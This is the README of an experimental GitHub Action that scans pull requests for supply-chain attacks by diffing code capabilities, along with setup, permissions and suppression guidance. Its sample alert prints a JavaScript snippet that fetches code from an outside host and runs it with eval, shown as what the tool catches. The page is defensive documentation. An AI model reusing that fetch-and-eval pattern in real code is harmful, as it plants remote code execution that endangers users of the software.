Skip to content

About

EXPERIMENTAL github action to flag malicious commits

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

isomer-action

Catch pull requests that introduce malicious code — before you merge them.

The version string says nothing changed; the behavior says otherwise.

isomer is a differential supply-chain analyzer. It doesn't score your code — it judges what a change does that the code before it didn't. A dependency bump that quietly gains a websocket to an IP address, a "perf" commit that adds a postinstall hook, a vendored binary that grew an ifunc resolver: those are the shapes of a supply-chain attack, and they look identical whether a human, an AI, or a compromised maintainer account introduced them.

This action runs isomer on every pull request. Your code never leaves the runner.

NOTE: HIGHLY EXPERIMENTAL — EARLY BUILD — MAY EAT YOUR CAT

Quickstart

name: supply-chain
on: pull_request

permissions:
  contents: read
  pull-requests: write   # sticky comment      (optional)
  security-events: write # inline annotations  (optional)

jobs:
  isomer:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: atomdrift-project/isomer-action@v0.1.0

That's the whole setup. No config file until you need one.

What you actually see

Almost always: nothing. A pull request that changes behavior in expected ways gets a green check and a one-line job summary. isomer follows the diff principle — silence is the normal output, so the day it speaks, people read it. CI security tools die of alert fatigue, and a quiet tool is one that stays switched on.

The day it matters, the check fails and the pull request gets one comment (edited in place on every push, never a second one):

🔴 HOSTILE · acme/app#412 · 2 of 2 files · 91% changed

gained C2

ML malware risk 0.00 benign → 1.00 malware ▲ +1.00

capability namespace traits
●●● new C2 command-and-control/beacon/network/http 6 new
●●● new exfiltration exfiltration/http/upload 1 new
●● new install hook supply-chain/install-hook/postinstall 11 new

Evidence

●●● src/index.js:5 — Response end handler then eval

  1   export function add(a,b){ return a+b }
+ 2   const os = require('os'), https = require('https'), cp = require('child_process');
+ 4   https.get('https://cdn.telemetry-cdn.workers.dev/p?i='+id, r => {
+ 5     let s=''; r.on('data',d=>s+=d); r.on('end',()=>{ eval(s); … });

Plus an annotation on the exact line in the Files changed tab, and a tracked alert in the Security tab. The reviewer never has to open another tool: the verdict, the reason, the capability delta, and the actual hostile bytes are all in one place.

What it catches

how
Malicious code in the diff capability drift — the change gains execution, network, exfiltration, or credential-access primitives it had no business gaining
Planted binaries the same analysis runs on compiled artifacts; xz-utils' backdoor is caught from the ifunc resolver and loader dependency alone, with every signature ignored
Supply-chain compromise a dependency's behavior is compared against its previous version, and against what its version bump promised — a patch release that gains a shell is disproportionate no matter how clean it looks
Publisher takeover signer and publisher drift is its own finding

Detection does not depend on knowing the attack. Known-bad signatures are one axis of four; the behavioral, structural, and ML-risk axes fire on novel attacks with no rule written for them.

Judging the build, not just the diff

Source tells you what a change says. The artifact tells you what it does. The xz-utils payload was in the release tarball and not in the git repository — no diff of the source could ever have seen it, because the backdoor was introduced by the build.

So isomer can compare what a pull request builds against what its base builds:

- uses: atomdrift-project/isomer-action@v0.1.0
  with:
    base-artifacts: .isomer/baseline   # the base commit's build
    head-artifacts: .isomer/head       # this change's build

Both sides join the same single analysis as the source, so there is still one verdict, one comment, and one exit code. A version bump whose bundle quietly gained a https.get(…) → eval is a finding even though the source diff is one character.

Byte comparison would drown here — nothing is reproducible, every build differs in timestamps and paths. isomer compares capabilities, so build churn is invisible and injected behavior is not.

examples/build-comparison.yml is the whole pattern, ready to copy. It judges the source in a job of its own first — a build runs the pull request's code, so a change already known to be hostile must fail before that happens — and only then builds. It costs two builds in the worst case and one in the common one: the base's output is cached under the commit that produced it, so a pull request branching from an already-built main builds only its own side, and when both do build they build in parallel.

The job that runs your build holds no write permissions, and a base commit that no longer builds degrades to a source-only verdict with a notice rather than failing the pull request.

Enforcement

Add the check to your branch protection rules or ruleset (Settings → Branches → Require status checks) so a failing scan blocks the merge.

Be aware of what this does and does not guarantee. On a pull_request event, GitHub runs the workflow file from the pull request. A contributor with write access can therefore weaken or spoof this check in the same change that carries the payload. Mitigations, strongest first:

  1. Organization rulesets with required workflows (GitHub Enterprise) run a workflow the pull request cannot edit. This is the only complete answer.
  2. Require the check by name in branch protection, and require review on any change to .github/workflows/**.
  3. isomer treats a change to your workflow files as analyzable content like any other, so a payload hidden in CI configuration is in scope.

For untrusted contributors, GitHub's "Require approval for all external contributors" setting is what actually stops a hostile workflow from running at all. We would rather say this plainly than let you believe a pull_request job is tamper-proof.

Permissions

Each grant adds a surface; the scan and the exit code always work.

grant what you get
contents: read the scan, the exit code, the job summary — works everywhere, including forks
+ security-events: write inline annotations on changed lines, Security-tab alerts
+ pull-requests: write the sticky comment

Missing permissions degrade to a notice, never a failure. Pull requests from forks get a read-only token, so the comment and SARIF upload are skipped automatically — the full report still lands in the job summary, and the check still fails, so a required check still protects the branch.

pull_request_target would restore those permissions and is not recommended: it runs with a writable token in the base repository's context, and getting it wrong is a well-known way to hand an attacker your secrets. If you need comments on fork pull requests, use the two-workflow pattern instead: upload report-markdown as an artifact from the pull_request job, and post it from a workflow_run job that has write permissions.

Suppressing a false positive

The report writes the config for you — copy the block from the comment, add a reason, push. Cost: one line, one minute.

# .isomer.toml
[[allow]]
id = "objectives/command-and-control/channel/websocket::sio"
reason = "vendored socket.io client; reviewed in #482"
expires = "2026-11-09"   # optional
path = "vendor/**"       # optional

exclude = ["testdata/**"]  # never analyzed at all

A reason is required — isomer refuses to run on a suppression nobody explained. Suppressed findings are listed in every report, so a silenced run never looks like a clean one, and expires lets you accept a risk temporarily without accepting it forever.

Inputs

input default
fail-on high none | low | medium | high | critical. none = report-only
gate new new fails only on newly-introduced risk; any includes escalations of pre-existing findings
comment auto auto speaks only on findings; always; never
sarif true upload annotations when permitted
explain false full trait ids and the complete diff ledger
config .isomer.toml policy file path
max-files 1000 refuse to run rather than analyze a subset silently
base-artifacts — directory holding the base commit's build outputs
head-artifacts — directory holding this change's build outputs
working-directory . repository to analyze
fetch-depth 50 how deep to fetch a missing base commit
version pinned isomer release to install
download-base GitHub releases point at an internal mirror for air-gapped runners
isomer-path — use a binary already on disk instead of downloading
cache true cache the binary, model, and verdict cache
token github.token used only for the comment and SARIF upload; never passed to isomer

Outputs

verdict (CLEAN/NOTABLE/SUSPICIOUS/HOSTILE), severity, new-severity, fail, findings, suppressed, and paths to the three reports: report-json, report-sarif, report-markdown.

base-sha is the commit the change was measured from — the merge base, not the base branch tip. Build that commit to produce base-artifacts, so both halves of the report are measured from the same place.

Policy you'd rather express yourself:

- uses: atomdrift-project/isomer-action@v0.1.0
  id: isomer
  with:
    fail-on: none          # never fail; decide for yourself
- if: steps.isomer.outputs.verdict == 'SUSPICIOUS'
  run: gh pr edit "$PR" --add-label needs-security-review
  env:
    PR: ${{ github.event.pull_request.number }}
    GH_TOKEN: ${{ github.token }}

Exit behavior

code meaning check
0 clean at --fail-on ✅
1 findings at or above --fail-on ❌ with the verdict
2 operational error — the change was not analyzed ❌ explicitly labelled not a verdict

A scanner that crashes must never be mistaken for a scanner that found nothing, so 1 and 2 are always distinguishable in the log.

Speed

Only the changed files are analyzed — a 5-file pull request in a 50,000-file monorepo costs 5 files of work. Both sides of each changed file are extracted from git into scratch trees and diffed there; nothing walks your whole repository. With a warm cache, typical pull requests finish in seconds; the first run pays for the binary and model download.

Auditing this action

It is a composite action: action.yml plus scripts/install.sh, about 250 lines you can read in one sitting. There is no bundled JavaScript, no npm dependency tree, and no telemetry. Deliberately:

  • The version is pinned to the action ref. atomdrift-project/isomer-action@v0.1.0 installs exactly the isomer release recorded in ISOMER_VERSION. There is no "latest".
  • Binaries are verified against checksums.txt, committed in this repository. An asset with no recorded checksum is never downloaded; a download whose digest doesn't match is deleted and the run fails.
  • The only actions used are GitHub's own (actions/cache, actions/github-script). SARIF is uploaded through the API directly rather than via a third-party action, which is also what lets a missing permission degrade to a notice instead of failing your job.
  • Your code never leaves the runner. isomer is offline by default: no registry fetches, no rule downloads, no LLM calls unless you configure one.

For maximum paranoia, pin us the way we pin everything else:

- uses: atomdrift-project/isomer-action@<commit-sha>  # v0.1.0

Before the first release

isomer has no tagged release yet, so checksums.txt is empty and the download path will refuse to run. Until then, build the binary yourself and point the action at it:

- uses: atomdrift-project/isomer-action@v0.1.0
  with:
    isomer-path: ./target/release/isomer

License

Apache-2.0. See LICENSE.

About

EXPERIMENTAL github action to flag malicious commits

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages